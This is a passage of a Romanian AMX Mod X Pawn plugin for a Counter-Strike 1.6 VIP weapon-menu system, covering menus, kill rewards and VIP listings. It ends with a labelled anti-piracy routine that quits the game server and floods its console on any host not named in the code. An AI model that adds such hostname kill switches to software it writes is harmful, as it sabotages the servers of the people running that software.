1740
1741 if(is_user_alive(id))
1742
1743 {
1744
1745 if(vip_opened[id] < get_pcvar_num(cvar_open) || get_pcvar_num(cvar_open) == 0)
1746
1747 {
1748
1749 if(g_Round >= get_pcvar_num(cvar_round))
1750
1751 {
1752
1753 new s_Title[64], s_Name[32], s_Pistol[32], szMenuMulti[64]
1754
1755 get_user_name(id, s_Name, charsmax(s_Name))
1756
1757 switch(g_Weapon[id])
1758
1759 {
1760
1761 case 0: s_Pistol = "Fara Pistol!";
1762
1763 case 1: s_Pistol = "Deagle";
1764
1765 case 2: s_Pistol = "Usp";
1766
1767 case 3: s_Pistol = "Glock";
1768
1769 }
1770
1771
1772
1773 formatex(s_Title, charsmax(s_Title), "VIP System [ANORMALII]")
1774
1775 i_Menu = menu_create(s_Title, "main_handler", 1);
1776
1777
1778
1779 formatex(szMenuMulti, charsmax(szMenuMulti), "M4A1 + %s + Grenade", s_Pistol)
1780
1781 menu_additem(i_Menu, szMenuMulti, "1", 0)
1782
1783
1784
1785 formatex(szMenuMulti, charsmax(szMenuMulti), "AK47 + %s + Grenade", s_Pistol)
1786
1787 menu_additem(i_Menu, szMenuMulti, "2", 0)
1788
1789
1790
1791 if(is_vip(id))
1792
1793 {
1794
1795 formatex(szMenuMulti, charsmax(szMenuMulti), "AWP + %s + Grenade", s_Pistol)
1796
1797 menu_additem(i_Menu, szMenuMulti, "3", 0)
1798
1799
1800
1801 formatex(szMenuMulti, charsmax(szMenuMulti), "G3SG1 + %s + Grenade (Terrorist)", s_Pistol)
1802
1803 menu_additem(i_Menu, szMenuMulti, "6", 0)
1804
1805
1806
1807 formatex(szMenuMulti, charsmax(szMenuMulti), "SG550 + %s + Grenade (Counter-Terrorist)", s_Pistol)
1808
1809 menu_additem(i_Menu, szMenuMulti, "7", 0)
1810
1811 }
1812
1813 else if(!is_vip(id) || !has_flag(id, "x") || has_flag(id, "y"))
1814
1815 {
1816
1817 formatex(szMenuMulti, charsmax(szMenuMulti), "AWP + [PISTOL] + Grenade \r[GOLD ONLY]")
1818
1819 menu_additem(i_Menu, szMenuMulti, "3", ADMIN_ADMIN)
1820
1821
1822
1823 formatex(szMenuMulti, charsmax(szMenuMulti), "G3SG1 + [PISTOL] + Grenade (Terrorist) \r[GOLD ONLY]")
1824
1825 menu_additem(i_Menu, szMenuMulti, "6", ADMIN_ADMIN)
1826
1827
1828
1829 formatex(szMenuMulti, charsmax(szMenuMulti), "SG550 + [PISTOL] + Grenade (Counter-Terrorist) \r[GOLD ONLY]")
1830
1831 menu_additem(i_Menu, szMenuMulti, "7", ADMIN_ADMIN)
1832
1833 }
1834
1835
1836
1837 if(g_Weapon[id] && g_chosen[id])
1838
1839 {
1840
1841 formatex(szMenuMulti, charsmax(szMenuMulti), "<<< Primul Meniu (Pistoale)")
1842
1843 menu_additem(i_Menu, szMenuMulti, "8", 0)
1844
1845 }
1846
1847
1848
1849 //g_chosen[id] = false;
1850
1851 //vip_opened[id] = 0;
1852
1853 //g_Weapon[id] = 0;
1854
1855
1856
1857 menu_setprop(i_Menu, MPROP_EXIT, MEXIT_ALL);
1858
1859 menu_display(id, i_Menu, 0)
1860
1861 }
1862
1863 else
1864
1865 {
1866
1867 if(get_pcvar_num(cvar_round))
1868
1869 {
1870
1871 chat_color(id, "!g[ANORMALII-VIP]!t Meniul se deschide doar dupa !g%d!t runde!", get_pcvar_num(cvar_round))
1872
1873 return PLUGIN_HANDLED;
1874
1875 }
1876
1877 else
1878
1879 {
1880
1881 chat_color(id, "!g[ANORMALII-VIP]!t Meniul se deschide doar dupa !g%d!t runde!", get_pcvar_num(cvar_round))
1882
1883 return PLUGIN_HANDLED;
1884
1885 }
1886
1887 }
1888
1889 }
1890
1891 else
1892
1893 chat_color(id, "!g[ANORMALII-VIP]!t Sincer... ceva nu merge bine. Contacteaza-ne pe !gwww.extremegame.ro/forum")
1894
1895 }
1896
1897 else
1898
1899 chat_color(id, "!g[ANORMALII-VIP]!t Esti mort... nu poti folosi meniul!")
1900
1901 //else
1902
1903 //chat_color(id, "!g[ANORMALII-VIP]!t Nu esti !gVIP!t. Foloseste comanda !g/help!t pentru afisare detalii")
1904
1905
1906
1907 return PLUGIN_HANDLED;
1908
1909}
1910
1911
1912
1913public main_handler(id, menu, item)
1914
1915{
1916
1917 if(item == MENU_EXIT)
1918
1919 {
1920
1921 menu_destroy(menu)
1922
1923 return PLUGIN_HANDLED;
1924
1925 }
1926
1927
1928
1929 if(!is_user_alive(id) && !is_user_connected(id))
1930
1931 return PLUGIN_HANDLED;
1932
1933
1934
1935 new s_Data[6], s_Name[60], i_Access, i_Callback
1936
1937 menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
1938
1939 new i_Key = str_to_num(s_Data)
1940
1941 new name[32]
1942
1943 get_user_name(id, name, charsmax(name))
1944
1945
1946
1947 switch(g_Weapon[id])
1948
1949 {
1950
1951 case 0:
1952
1953 {
1954
1955 first_menu(id);
1956
1957 menu_destroy(menu);
1958
1959 }
1960
1961 case 1:
1962
1963 {
1964
1965 for(new i = 0;i < sizeof secondaryWeapons;i++)
1966
1967 engclient_cmd(id, "drop", secondaryWeapons[i])
1968
1969
1970
1971 give_item(id, "weapon_deagle")
1972
1973 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
1974
1975 }
1976
1977 case 2:
1978
1979 {
1980
1981 for(new i = 0;i < sizeof secondaryWeapons;i++)
1982
1983 engclient_cmd(id, "drop", secondaryWeapons[i])
1984
1985
1986
1987 give_item(id, "weapon_usp")
1988
1989 cs_set_user_bpammo(id, CSW_USP, 100)
1990
1991 }
1992
1993 case 3:
1994
1995 {
1996
1997 if(pev(id, pev_weapons) & 1 << CSW_GLOCK18)
1998
1999 for(new i = 0;i < sizeof secondaryWeapons;i++)
2000
2001 engclient_cmd(id, "drop", secondaryWeapons[i])
2002
2003
2004
2005 give_item(id, "weapon_glock18")
2006
2007 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
2008
2009 }
2010
2011 }
2012
2013
2014
2015 switch(i_Key)
2016
2017 {
2018
2019 case 1:
2020
2021 {
2022
2023 vip_opened[id]++
2024
2025 /*if(user_has_weapon(id, CSW_C4))
2026
2027 engclient_cmd(id, "drop", "weapon_c4")*/
2028
2029
2030
2031 for(new i = 0;i < sizeof primaryWeapons;i++)
2032
2033 engclient_cmd(id, "drop", primaryWeapons[i])
2034
2035
2036
2037 give_item(id, "weapon_m4a1")
2038
2039 cs_set_user_bpammo(id, CSW_M4A1, 90)
2040
2041
2042
2043 if(get_pcvar_num(cvar_chat) == 1)
2044
2045 chat_color(id, "!g[ANORMALII-VIP]!t VIP-ul !g%s!t a primit M4A1 gratuit + !gGrenade", name)
2046
2047 }
2048
2049 case 2:
2050
2051 {
2052
2053 vip_opened[id]++
2054
2055 /*if(user_has_weapon(id, CSW_C4))
2056
2057 engclient_cmd(id, "drop", "weapon_c4")*/
2058
2059
2060
2061 for(new i = 0;i < sizeof primaryWeapons;i++)
2062
2063 engclient_cmd(id, "drop", primaryWeapons[i])
2064
2065
2066
2067 give_item(id, "weapon_ak47")
2068
2069 cs_set_user_bpammo(id, CSW_AK47, 90)
2070
2071
2072
2073 if(get_pcvar_num(cvar_chat) == 1)
2074
2075 chat_color(id, "!g[ANORMALII-VIP]!t VIP-ul !g%s!t a primit Ak47 gratuit + !gGrenade", name)
2076
2077 }
2078
2079 case 3:
2080
2081 {
2082
2083 vip_opened[id]++
2084
2085 /*if(user_has_weapon(id, CSW_C4))
2086
2087 engclient_cmd(id, "drop", "weapon_c4")*/
2088
2089
2090
2091 for(new i = 0;i < sizeof primaryWeapons;i++)
2092
2093 engclient_cmd(id, "drop", primaryWeapons[i])
2094
2095
2096
2097 give_item(id, "weapon_awp")
2098
2099 cs_set_user_bpammo(id, CSW_AWP, 30)
2100
2101
2102
2103 if(get_pcvar_num(cvar_chat) == 1)
2104
2105 chat_color(id, "!g[ANORMALII-VIP]!t VIP-ul !g%s!t a primit Polar gratuit + !gGrenade", name)
2106
2107 }
2108
2109 case 4:
2110
2111 {
2112
2113 vip_opened[id]++
2114
2115 /*if(user_has_weapon(id, CSW_C4))
2116
2117 engclient_cmd(id, "drop", "weapon_c4")*/
2118
2119
2120
2121 for(new i = 0;i < sizeof primaryWeapons;i++)
2122
2123 engclient_cmd(id, "drop", primaryWeapons[i])
2124
2125
2126
2127 give_item(id, "weapon_famas")
2128
2129 cs_set_user_bpammo(id, CSW_FAMAS, 90)
2130
2131
2132
2133 if(get_pcvar_num(cvar_chat) == 1)
2134
2135 chat_color(id, "!g[ANORMALII-VIP]!t VIP-ul !g%s!t a primit Famas gratuit + !gGrenade", name)
2136
2137 }
2138
2139 case 5:
2140
2141 {
2142
2143 vip_opened[id]++
2144
2145 /*if(user_has_weapon(id, CSW_C4))
2146
2147 engclient_cmd(id, "drop", "weapon_c4")*/
2148
2149
2150
2151 for(new i = 0;i < sizeof primaryWeapons;i++)
2152
2153 engclient_cmd(id, "drop", primaryWeapons[i])
2154
2155
2156
2157 give_item(id, "weapon_galil")
2158
2159 cs_set_user_bpammo(id, CSW_GALIL, 90)
2160
2161
2162
2163 if(get_pcvar_num(cvar_chat) == 1)
2164
2165 chat_color(id, "!g[ANORMALII-VIP]!t VIP-ul !g%s!t a primit Galil gratuit + !gGrenade", name)
2166
2167 }
2168
2169 case 6:
2170
2171 {
2172
2173 vip_opened[id]++
2174
2175 /*if(user_has_weapon(id, CSW_C4))
2176
2177 engclient_cmd(id, "drop", "weapon_c4")*/
2178
2179
2180
2181 for(new i = 0;i < sizeof primaryWeapons;i++)
2182
2183 engclient_cmd(id, "drop", primaryWeapons[i])
2184
2185
2186
2187 give_item(id, "weapon_g3sg1")
2188
2189 cs_set_user_bpammo(id, CSW_G3SG1, 90)
2190
2191
2192
2193 if(get_pcvar_num(cvar_chat) == 1)
2194
2195 chat_color(id, "!g[ANORMALII-VIP]!t VIP-ul !g%s!t a primit G3SG1 (D3/AU-1) gratuit + !gGrenade", name)
2196
2197 }
2198
2199 case 7:
2200
2201 {
2202
2203 vip_opened[id]++
2204
2205 /*if(user_has_weapon(id, CSW_C4))
2206
2207 engclient_cmd(id, "drop", "weapon_c4")*/
2208
2209
2210
2211 for(new i = 0;i < sizeof primaryWeapons;i++)
2212
2213 engclient_cmd(id, "drop", primaryWeapons[i])
2214
2215
2216
2217 give_item(id, "weapon_sg550")
2218
2219 cs_set_user_bpammo(id, CSW_SG550, 90)
2220
2221
2222
2223 if(get_pcvar_num(cvar_chat) == 1)
2224
2225 chat_color(id, "!g[ANORMALII-VIP]!t VIP-ul !g%s!t a primit SG550 (Counter-Terorist) gratuit + !gGrenade", name)
2226
2227 }
2228
2229 case 8:
2230
2231 {
2232
2233 g_chosen[id] = false;
2234
2235 vip_opened[id] = 0;
2236
2237 g_Weapon[id] = 0;
2238
2239 first_menu(id);
2240
2241 }
2242
2243 }
2244
2245
2246
2247 //menu_destroy(menu);
2248
2249 return PLUGIN_CONTINUE;
2250
2251}
2252
2253
2254
2255public first_menu(id)
2256
2257{
2258
2259 if(!UserInBuyZone[id] && is_user_alive(id))
2260
2261 {
2262
2263 client_print(id, print_center, "Doar din Spawn iti poti sa iti iei iteme pentru VIP!");
2264
2265 return PLUGIN_HANDLED;
2266
2267 }
2268
2269
2270
2271 if(remove_vip)
2272
2273 return PLUGIN_HANDLED;
2274
2275
2276
2277 if(!is_user_connected(id))
2278
2279 return PLUGIN_HANDLED;
2280
2281
2282
2283 i_Menu_Pistol = menu_create("Ce pistol doresti Boss?", "first_menu_handler")
2284
2285
2286
2287 menu_additem(i_Menu_Pistol, "Deagle [35 Gloante]", "1", 0)
2288
2289 menu_additem(i_Menu_Pistol, "USP [100 Gloante]", "2", 0)
2290
2291 menu_additem(i_Menu_Pistol, "Glock [120 Gloante]\y", "3", 0)
2292
2293
2294
2295 menu_setprop(i_Menu_Pistol, MPROP_EXIT, MEXIT_ALL);
2296
2297 menu_display(id, i_Menu_Pistol, 0)
2298
2299
2300
2301 return PLUGIN_HANDLED;
2302
2303}
2304
2305
2306
2307public first_menu_handler(id, menu, item)
2308
2309{
2310
2311 if(item == MENU_EXIT)
2312
2313 {
2314
2315 menu_destroy(menu)
2316
2317 return PLUGIN_HANDLED
2318
2319 }
2320
2321
2322
2323 new s_Data[6], s_Name[60], i_Access, i_Callback
2324
2325 menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
2326
2327 new i_Key = str_to_num(s_Data)
2328
2329
2330
2331 for(new i = 0;i <6;i++)
2332
2333 fm_strip_user_gun(id, pistols[i])
2334
2335
2336
2337 switch(i_Key)
2338
2339 {
2340
2341 case 1:
2342
2343 {
2344
2345 if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
2346
2347 {
2348
2349 main_menu(id)
2350
2351
2352
2353 for(new i = 0;i < sizeof secondaryWeapons;i++)
2354
2355 engclient_cmd(id, "drop", secondaryWeapons[i])
2356
2357 }
2358
2359
2360
2361 g_chosen[id] = true;
2362
2363 g_Weapon[id] = 1;
2364
2365 give_item(id, "weapon_deagle")
2366
2367 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
2368
2369 }
2370
2371 case 2:
2372
2373 {
2374
2375 if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
2376
2377 {
2378
2379 main_menu(id)
2380
2381
2382
2383 for(new i = 0;i < sizeof secondaryWeapons;i++)
2384
2385 engclient_cmd(id, "drop", secondaryWeapons[i])
2386
2387 }
2388
2389
2390
2391 g_chosen[id] = true;
2392
2393 g_Weapon[id] = 2;
2394
2395 give_item(id, "weapon_usp")
2396
2397 cs_set_user_bpammo(id, CSW_USP, 100)
2398
2399 }
2400
2401 case 3:
2402
2403 {
2404
2405 if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
2406
2407 {
2408
2409 main_menu(id)
2410
2411
2412
2413 for(new i = 0;i < sizeof secondaryWeapons;i++)
2414
2415 engclient_cmd(id, "drop", secondaryWeapons[i])
2416
2417 }
2418
2419
2420
2421 g_chosen[id] = true;
2422
2423 g_Weapon[id] = 3;
2424
2425 give_item(id, "weapon_glock18")
2426
2427 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
2428
2429 }
2430
2431 }
2432
2433
2434
2435 //menu_destroy(menu);
2436
2437 return PLUGIN_CONTINUE;
2438
2439}
2440
2441
2442
2443stock get_vips_online()
2444
2445{
2446
2447 new players[32], pnum, vs, i, userid
2448
2449 get_players(players, pnum, "ch")
2450
2451
2452
2453 for(i = 0; i < pnum; i++)
2454
2455 {
2456
2457 userid = players[i]
2458
2459
2460
2461 if(!(is_vip(userid)))
2462
2463 continue;
2464
2465
2466
2467 vs ++;
2468
2469 }
2470
2471
2472
2473 return vs
2474
2475}
2476
2477
2478
2479stock chat_message(index, const message[], any:...)
2480
2481{
2482
2483 new sBuffer[256], dest
2484
2485 vformat(sBuffer[1], charsmax(sBuffer), message, 3)
2486
2487
2488
2489 sBuffer[0] = '^1'
2490
2491
2492
2493 replace_all(sBuffer[1], charsmax(sBuffer), "!y", "^1")
2494
2495 replace_all(sBuffer[1], charsmax(sBuffer), "!t", "^3")
2496
2497 replace_all(sBuffer[1], charsmax(sBuffer), "!g", "^4")
2498
2499
2500
2501 sBuffer[192] = '^0'
2502
2503
2504
2505 if(index)
2506
2507 {
2508
2509 dest = MSG_ONE_UNRELIABLE
2510
2511 }
2512
2513 else
2514
2515 {
2516
2517 dest = MSG_BROADCAST
2518
2519 }
2520
2521
2522
2523 message_begin(dest, get_user_msgid("SayText"), {0, 0, 0}, index)
2524
2525 write_byte(index)
2526
2527 write_string(sBuffer)
2528
2529 message_end()
2530
2531}
2532
2533
2534
2535/*public Damage(id)
2536
2537{
2538
2539 new weapon, hitpoint, attacker = get_user_attacker(id,weapon,hitpoint)
2540
2541 if(attacker<=MAXPLAYERS && is_user_alive(attacker) && attacker!=id)
2542
2543 if(get_user_flags(id) & VIP_FLAG) //Checks if player is VIP
2544
2545 {
2546
2547 new money = read_data(2) * get_pcvar_num(cvar[money_hs]
2548
2549 if(hitpoint==1) money += get_pcvar_num(cvar[money_hs] //Checks if player damages enemy by head shot
2550
2551 cs_set_user_money(attacker,cs_get_user_money(attacker) + money) //Gives money for damaging enemys
2552
2553 }
2554
2555}*/
2556
2557
2558
2559public event_DeathMsg()
2560
2561{
2562
2563 if(remove_vip)
2564
2565 return PLUGIN_HANDLED;
2566
2567
2568
2569 new killer = read_data(1);
2570
2571 new victim = read_data(2);
2572
2573 new headshot = read_data(3);
2574
2575 new hp = headshot ? get_pcvar_num(cvar[hp_hs]) : get_pcvar_num(cvar[hp_kill]);
2576
2577 new money = headshot ? get_pcvar_num(cvar[money_hs]) : get_pcvar_num(cvar[money_kill]);
2578
2579
2580
2581 if(is_vip(victim))
2582
2583 if(!g_chosen[victim])
2584
2585 set_task(1.0, "first_menu", victim)
2586
2587
2588
2589 if(is_user_alive(killer) && (is_vip(killer) || get_user_flags(killer) & read_flags("y") || vip_free))
2590
2591 {
2592
2593 if(killer == victim) return PLUGIN_HANDLED;
2594
2595 if(hp != 0) set_user_health(killer, clamp(get_user_health(killer) + hp, 1, get_pcvar_num(cvar[max_hp_kill])));
2596
2597 if(money != 0) cs_set_user_money(killer, clamp(cs_get_user_money(killer) + money - 300, 1, 16000));
2598
2599
2600
2601 set_hudmessage(0, 255, 0, -1.0, 0.15, 0, 1.0, 1.0, 0.1, 0.1, -1)
2602
2603 show_hudmessage(killer, "Healed +%d HP", hp);
2604
2605
2606
2607 message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, killer);
2608
2609 write_short(1<<10);
2610
2611 write_short(1<<10);
2612
2613 write_short(0x0000);
2614
2615 write_byte(0);
2616
2617 write_byte(0);
2618
2619 write_byte(200);
2620
2621 write_byte(75);
2622
2623 message_end();
2624
2625 }
2626
2627
2628
2629 return PLUGIN_CONTINUE;
2630
2631}
2632
2633
2634
2635public hook_say(id)
2636
2637{
2638
2639 /*static szAllArgs[1023];
2640
2641 read_args(szAllArgs, charsmax(szAllArgs))
2642
2643 if((containi(szAllArgs, "/vip")!= -1 || containi(szAllArgs, "/vips")!= -1))
2644
2645 return PLUGIN_HANDLED;*/
2646
2647
2648
2649 new said[192];
2650
2651 read_args(said,192);
2652
2653 if(contain(said, "/vips") != -1)
2654
2655 set_task(0.1,"check_vips",id);
2656
2657
2658
2659 return PLUGIN_CONTINUE;
2660
2661}
2662
2663
2664
2665public check_vips(id)
2666
2667{
2668
2669 new sBuffer[128], sVipname[32], sSlots[34], userid, vs, i
2670
2671
2672
2673 formatex(sBuffer, charsmax(sBuffer), "!t[-!gV!tI!gP's!t-] !gOnline: ")
2674
2675
2676
2677 new z;
2678
2679 if((z = get_vips_online()))
2680
2681 {
2682
2683 new players[32], pnum
2684
2685 get_players(players, pnum, "ch")
2686
2687
2688
2689 for(i = 0; i < pnum; i++)
2690
2691 {
2692
2693 userid = players[i]
2694
2695
2696
2697 if(!(is_vip(userid)))
2698
2699 continue;
2700
2701
2702
2703 vs ++;
2704
2705 get_user_name(userid, sVipname, charsmax(sVipname))
2706
2707 formatex(sSlots, charsmax(sSlots), "!t%s!g%s", sVipname, z == vs ? ".":", ")
2708
2709 add(sBuffer, charsmax(sBuffer), sSlots)
2710
2711 }
2712
2713 }
2714
2715 else if(!get_vips_online())
2716
2717 {
2718
2719 add(sBuffer, charsmax(sBuffer), "!tThere is no vip's !gOnline!")
2720
2721 }
2722
2723
2724
2725 chat_message(id, sBuffer)
2726
2727}
2728
2729
2730
2731public print_adminlist(user)
2732
2733{
2734
2735 new adminnames[33][32];
2736
2737 new message[256];
2738
2739 new id, count, x, len;
2740
2741
2742
2743 for(id = 1 ; id <= get_maxplayers() ; id++)
2744
2745 if(is_user_connected(id))
2746
2747 if(is_vip(id) || get_user_flags(id) & read_flags("y"))
2748
2749 get_user_name(id, adminnames[count++], charsmax(adminnames[ ]));
2750
2751
2752
2753 len = format(message, 255, "^1VIP-ii online sunt:^4 ");
2754
2755 if(count > 0)
2756
2757 {
2758
2759 for(x = 0 ; x < count ; x++)
2760
2761 {
2762
2763 len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"");
2764
2765 if(len > 96)
2766
2767 {
2768
2769 print_message(user, message);
2770
2771 len = format(message, 255, " ");
2772
2773 }
2774
2775 }
2776
2777 print_message(user, message);
2778
2779 }
2780
2781 else
2782
2783 chat_color(id, "!g[ANORMALII - VIP]!t ^1Nu sunt ^4VIP^1-i online.")
2784
2785
2786
2787 return PLUGIN_CONTINUE;
2788
2789}
2790
2791
2792
2793public StatusIcon_buyzone_OFF(id)
2794
2795{
2796
2797 if(!remove_vip)
2798
2799 {
2800
2801 UserInBuyZone[id] = false;
2802
2803 CheckMenuClose(id);
2804
2805 }
2806
2807}
2808
2809
2810
2811public Event_StatusIcon_Show_buyzone(id)
2812
2813 if((is_vip(id) || get_user_flags(id) & read_flags("y") || vip_free))
2814
2815 UserInBuyZone[id] = true;
2816
2817
2818
2819CheckMenuClose(id)
2820
2821{
2822
2823 new oldMenuId, newMenuId;
2824
2825 player_menu_info(id, oldMenuId, newMenuId)
2826
2827 if(newMenuId > -1 && newMenuId == i_Menu || newMenuId > -1 && newMenuId == i_Menu_Pistol)
2828
2829 menu_cancel(id);
2830
2831}
2832
2833
2834
2835print_message(id, msg[])
2836
2837{
2838
2839 message_begin(MSG_ONE, get_user_msgid("SayText"), {0,0,0}, id);
2840
2841 write_byte(id);
2842
2843 write_string(msg);
2844
2845 message_end();
2846
2847}
2848
2849
2850
2851stock bool: is_vip(const id)
2852
2853{
2854
2855 if(!is_user_connected(id))
2856
2857 return false;
2858
2859
2860
2861 if(IsUserVip[id] || get_user_flags(id) & read_flags("x")) /*|| equali(name, "seven|sin")|| equali(name, "PedoBear"))*/
2862
2863 return true;
2864
2865
2866
2867 return false;
2868
2869}
2870
2871
2872
2873stock chat_color(const id, const input[], any:...)
2874
2875{
2876
2877 new count = 1, Jucatori[32]
2878
2879 static msg[191]
2880
2881 vformat(msg, 190, input, 3)
2882
2883
2884
2885 replace_all(msg, 190, "!g", "^4")//Culoarea Verde
2886
2887 replace_all(msg, 190, "!y", "^1")//Culoarea Normala a Chat-ului (galben)
2888
2889 replace_all(msg, 190, "!t", "^3")//Culoarea Echipei : CT = Albastru | T = Rosu.
2890
2891
2892
2893 if (id)Jucatori[0] = id;else get_players(Jucatori, count, "ch")
2894
2895 {
2896
2897 for (new Y = 0;Y <count;Y++)
2898
2899 {
2900
2901 if (is_user_connected(Jucatori[Y]))
2902
2903 {
2904
2905 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, Jucatori[Y])
2906
2907 write_byte(Jucatori[Y]);
2908
2909 write_string(msg);
2910
2911 message_end();
2912
2913 }
2914
2915 }
2916
2917 }
2918
2919}
2920
2921
2922
2923//======================================================//
2924
2925// END Stock-URI ===>>>>> PROTECTIE
2926
2927//======================================================//
2928
2929/* Protected Plugin */
2930
2931public _ProtectCheck_()
2932
2933{
2934
2935 new HostNameProtect[] = "ANORMALII.INDUNGI.RO"
2936
2937 new HostNameProtectTESTE[] = "Server Teste"
2938
2939 new ActualHostname[64], xP[32], xN
2940
2941
2942
2943 get_pcvar_string(get_cvar_pointer("hostname"), ActualHostname, 63)
2944
2945 strtoupper(ActualHostname)
2946
2947
2948
2949 if (containi(ActualHostname, HostNameProtect) != -1 || containi(ActualHostname, HostNameProtectTESTE) != -1)
2950
2951 return PLUGIN_CONTINUE
2952
2953 else
2954
2955 {
2956
2957 server_cmd("quit;exit;map de_dust2") //quit;exit;map de_dust2;map hns_floppywon -> VECHI
2958
2959 pause("ade"); //Nou
2960
2961 for (new i=0;i < 500000;i++)
2962
2963 {
2964
2965 get_players(xP, xN)
2966
2967 //for (new o=0;o < xN;o++)
2968
2969 //chatcolor(xP[i], "!tPluginul este protejat. Aceasta este o tentativa de frauda.")
2970
2971
2972
2973 server_print("[VIP ANORMALII] Doresti sa furi addons-ul, domnule? Cauta-l pe, PaulSB aka M@f!aSB, ca sa il cumperi!")
2974
2975 }
2976
2977 }
2978
2979
2980
2981 return PLUGIN_CONTINUE
2982
2983}
2984
2985//======================================================//
2986
2987// END PROTECTIE
2988
2989//======================================================//